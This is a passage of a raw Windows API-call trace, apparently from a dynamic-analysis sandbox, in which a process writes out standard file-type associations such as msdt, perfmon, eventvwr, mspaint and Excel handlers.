lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Config=%SystemRoot%\\system32\\msdt.exe /path \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 62 [0100.700] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x3d, lpOverlapped=0x0) returned 1 [0100.700] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Diagnostic.Document=%SystemRoot%\\system32\\msdt.exe /path \"%1\"\r\n") returned 63 [0100.700] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.701] GetFileType (hFile=0x5c) returned 0x3 [0100.701] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.701] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Document=%SystemRoot%\\system32\\msdt.exe /path \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Document=%SystemRoot%\\system32\\msdt.exe /path \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 64 [0100.701] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x3f, lpOverlapped=0x0) returned 1 [0100.701] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Diagnostic.Perfmon.Config=%SystemRoot%\\system32\\perfmon /sys /load \"%1\"\r\n") returned 73 [0100.701] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.701] GetFileType (hFile=0x5c) returned 0x3 [0100.701] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.701] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Perfmon.Config=%SystemRoot%\\system32\\perfmon /sys /load \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Perfmon.Config=%SystemRoot%\\system32\\perfmon /sys /load \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 74 [0100.701] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x49, lpOverlapped=0x0) returned 1 [0100.701] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Diagnostic.Perfmon.Document=%SystemRoot%\\system32\\perfmon /sys /open \"%1\"\r\n") returned 75 [0100.701] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.701] GetFileType (hFile=0x5c) returned 0x3 [0100.701] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.701] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Perfmon.Document=%SystemRoot%\\system32\\perfmon /sys /open \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Perfmon.Document=%SystemRoot%\\system32\\perfmon /sys /open \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 76 [0100.701] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4b, lpOverlapped=0x0) returned 1 [0100.702] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Diagnostic.Resmon.Config=%SystemRoot%\\system32\\perfmon /res /load \"%1\"\r\n") returned 72 [0100.702] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.702] GetFileType (hFile=0x5c) returned 0x3 [0100.702] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.702] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Resmon.Config=%SystemRoot%\\system32\\perfmon /res /load \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Resmon.Config=%SystemRoot%\\system32\\perfmon /res /load \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 73 [0100.702] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x48, lpOverlapped=0x0) returned 1 [0100.702] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="docxfile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n") returned 67 [0100.702] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.703] GetFileType (hFile=0x5c) returned 0x3 [0100.703] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.703] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="docxfile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docxfile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 68 [0100.703] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x43, lpOverlapped=0x0) returned 1 [0100.703] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="dqyfile=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n") returned 72 [0100.703] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.703] GetFileType (hFile=0x5c) returned 0x3 [0100.703] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.703] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="dqyfile=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dqyfile=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 73 [0100.703] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x48, lpOverlapped=0x0) returned 1 [0100.706] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="emffile=\"%systemroot%\\system32\\mspaint.exe\" \"%1\"\r\n") returned 50 [0100.706] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.706] GetFileType (hFile=0x5c) returned 0x3 [0100.706] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.706] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="emffile=\"%systemroot%\\system32\\mspaint.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="emffile=\"%systemroot%\\system32\\mspaint.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 51 [0100.706] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x32, lpOverlapped=0x0) returned 1 [0100.707] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="evtfile=%SystemRoot%\\system32\\eventvwr.exe /l:\"%1\"\r\n") returned 52 [0100.707] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.707] GetFileType (hFile=0x5c) returned 0x3 [0100.707] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.707] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="evtfile=%SystemRoot%\\system32\\eventvwr.exe /l:\"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="evtfile=%SystemRoot%\\system32\\eventvwr.exe /l:\"%1\"\r\n", lpUsedDefaultChar=0x0) returned 53 [0100.707] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x34, lpOverlapped=0x0) returned 1 [0100.707] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="evtxfile=%SystemRoot%\\system32\\eventvwr.exe /l:\"%1\"\r\n") returned 53 [0100.707] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.707] GetFileType (hFile=0x5c) returned 0x3 [0100.707] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.707] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="evtxfile=%SystemRoot%\\system32\\eventvwr.exe /l:\"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="evtxfile=%SystemRoot%\\system32\\eventvwr.exe /l:\"%1\"\r\n", lpUsedDefaultChar=0x0) returned 54 [0100.707] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x35, lpOverlapped=0x0) returned 1 [0100.707] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.Addin=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n") returned 78 [0100.707] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.707] GetFileType (hFile=0x5c) returned 0x3 [0100.708] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.708] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Addin=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Addin=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 79 [0100.708] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4e, lpOverlapped=0x0) returned 1 [0100.708] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.AddInMacroEnabled=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n") returned 90 [0100.708] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.708] GetFileType (hFile=0x5c) returned 0x3 [0100.708] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.708] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.AddInMacroEnabled=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.AddInMacroEnabled=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 91 [0100.708] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5a, lpOverlapped=0x0) returned 1 [0100.708] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.Backup=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n") returned 79 [0100.708] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.708] GetFileType (hFile=0x5c) returned 0x3 [0100.708] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.709] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Backup=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Backup=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 80 [0100.709] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4f, lpOverlapped=0x0) returned 1 [0100.709] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.Chart=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n") returned 76 [0100.709] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.709] GetFileType (hFile=0x5c) returned 0x3 [0100.709] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.709] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Chart=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Chart=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 77 [0100.709] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4c, lpOverlapped=0x0) returned 1 [0100.709] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.Chart.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n") returned 80 [0100.709] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.709] GetFileType (hFile=0x5c) returned 0x3 [0100.709] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.709] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Chart.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Chart.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 81 [0100.709] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x50, lpOverlapped=0x0) returned 1 [0100.710] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.CSV=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n") returned 76 [0100.710] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.710] GetFileType (hFile=0x5c) returned 0x3 [0100.710] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.710] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.CSV=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.CSV=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 77 [0100.710] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4c, lpOverlapped=0x0) returned 1 [0100.710] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.Macrosheet=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n") returned 83 [0100.710] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.710] GetFileType (hFile=0x5c) returned 0x3 [0100.710] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.710] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Macrosheet=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Macrosheet=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84 [0100.710] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x53, lpOverlapped=0x0) returned 1 [0100.711] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.OpenDocumentSpreadsheet.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n") returned 99 [0100.711] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.711] GetFileType (hFile=0x5c) returned 0x3 [0100.711] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.711] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.OpenDocumentSpreadsheet.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.OpenDocumentSpreadsheet.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 100 [0100.711] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x63, lpOverlapped=0x0) returned 1 [0100.711] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.Sheet.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n") returned 81 [0100.711] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.711] GetFileType (hFile=0x5c) returned 0x3 [0100.711] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.711] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Sheet.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Sheet.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 82 [0100.711] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x51, lpOverlapped=0x0) returned 1 [0100.711] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.Sheet.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n") returned 80 [0100.711] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.711] GetFileType (hFile=0x5c) returned 0x3 [0100.712] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.712] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Sheet.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Sheet.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 81 [0100.712] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x50, lpOverlapped=0x0) returned 1 [0100.712] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.SheetBinaryMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n") returned 99 [0100.712] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.712] GetFileType (hFile=0x5c) returned 0x3 [0100.712] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.712] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.SheetBinaryMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.SheetBinaryMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 100 [0100.712] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x63, lpOverlapped=0x0) returned 1 [0100.712] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.SheetMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n") returned 93 [0100.712] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.712] GetFileType (hFile=0x5c) returned 0x3 [0100.712] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.712] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.SheetMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.SheetMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 94 [0100.713] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5d, lpOverlapped=0x0) returned 1 [0100.713] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.SLK=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n") returned 76 [0100.713] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.713] GetFileType (hFile=0x5c) returned 0x3 [0100.713] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.713] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.SLK=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.SLK=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 77 [0100.713] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4c, lpOverlapped=0x0) returned 1 [0100.713] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.Template=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n") returned 81 [0100.713] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.713] GetFileType (hFile=0x5c) returned 0x3 [0100.713] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.713] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, 